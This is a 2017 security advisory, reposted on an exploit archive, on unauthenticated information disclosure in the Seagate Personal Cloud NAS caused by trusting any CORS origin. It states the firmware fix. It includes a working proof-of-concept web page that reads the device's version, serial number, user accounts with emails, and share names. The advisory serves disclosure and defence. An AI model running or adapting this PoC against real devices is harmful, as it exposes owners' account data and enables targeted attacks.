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Seagate Personal Cloud Information Disclosure

Seagate Personal Cloud Information Disclosure
Posted Sep 13, 2018
Authored by Yorick Koster

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The device is configured to trust any CORS origin, and is accessible via the personalcloud.local domain name. Due to this it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks. This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. The software is licensed from LACIE, it is very likely that other devices/models are also affected.

tags | exploit, web, local, vulnerability, info disclosure
MD5 | 0c22c4000bdb46ed6b32781ad8339aaa

Seagate Personal Cloud Information Disclosure

Change Mirror Download
------------------------------------------------------------------------
Seagate Personal Cloud multiple information disclosure vulnerabilities
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). It was found that the web application used to manage the
NAS is affected by various unauthenticated information disclosure
vulnerabilities. The device is configured to trust any CORS origin, and
is accessible via the personalcloud.local domain name. Due to this it is
possible for any website to gain access to this information. While this
information doesn't allow an attacker to compromise the NAS, the
information can be used to stage more targeted attacks.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware versions 4.3.16.0 and 4.3.18.0. The software is licensed from
LACIE, it is very likely that other devices/models are also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
These issues have been mitigated in firmware version 4.3.19.3. The NAS
no longer accepts CORS requests from arbitrary sites. A number of
endpoints now require the user to be logged in.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-personal-cloud-multiple-information-disclosure-vulnerabilities.html

Proof of concept:

Proof of concept

<!DOCTYPE html>
<html>
<!-- Get version information -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/system.System.get_infos',
{method: 'POST', body: '{}'})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('infos') && data['infos'].hasOwnProperty('__properties__')) {
props = data['infos']['__properties__'];
vendor = props['vendor_name'];
product = props['product'];
version = props['version'];
serial_number = props['serial_number'];
console.log(vendor + ' ' + product + ' ' + version + ' (serial: ' + serial_number + ')');
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>

<!-- Get users -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users',
{method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{}}}}, "with_parameters":{"__type__":"List","__sub_type__":"Unicode","__elements__":{}}} '})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('user_list') && data['user_list'].hasOwnProperty('__elements__')) {
console.log('Users:');
data['user_list']['__elements__'].forEach(function(user) {
if(user.hasOwnProperty('__properties__')) {
props = user['__properties__'];
firstname = props['firstname'];
lastname = props['lastname'];
login = props['login'];
email = props['email'];
is_admin = props['is_admin'];
is_enabled = props['is_enabled'];
console.log(firstname + ' ' + lastname + ' / ' + login + ' / ' + email +
' / admin: ' + is_admin + ' / enabled: ' + is_enabled);
}
});
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>

<!-- Get shares -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares',
{method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{"name":""}}, "order":{"__type__":"Ordering", "__version__":0, "__sub_version__":0, "__properties__":{"asc":false, "order_by":"name"}}}}}'})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('share_through_list') && data['share_through_list'].hasOwnProperty('__elements__')) {
console.log('Shares:');
data['share_through_list']['__elements__'].forEach(function(share) {
if(share.hasOwnProperty('__properties__')) {
props = share['__properties__'];
console.log(props['share']['__properties__']['name']);
}
});
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>
</html>


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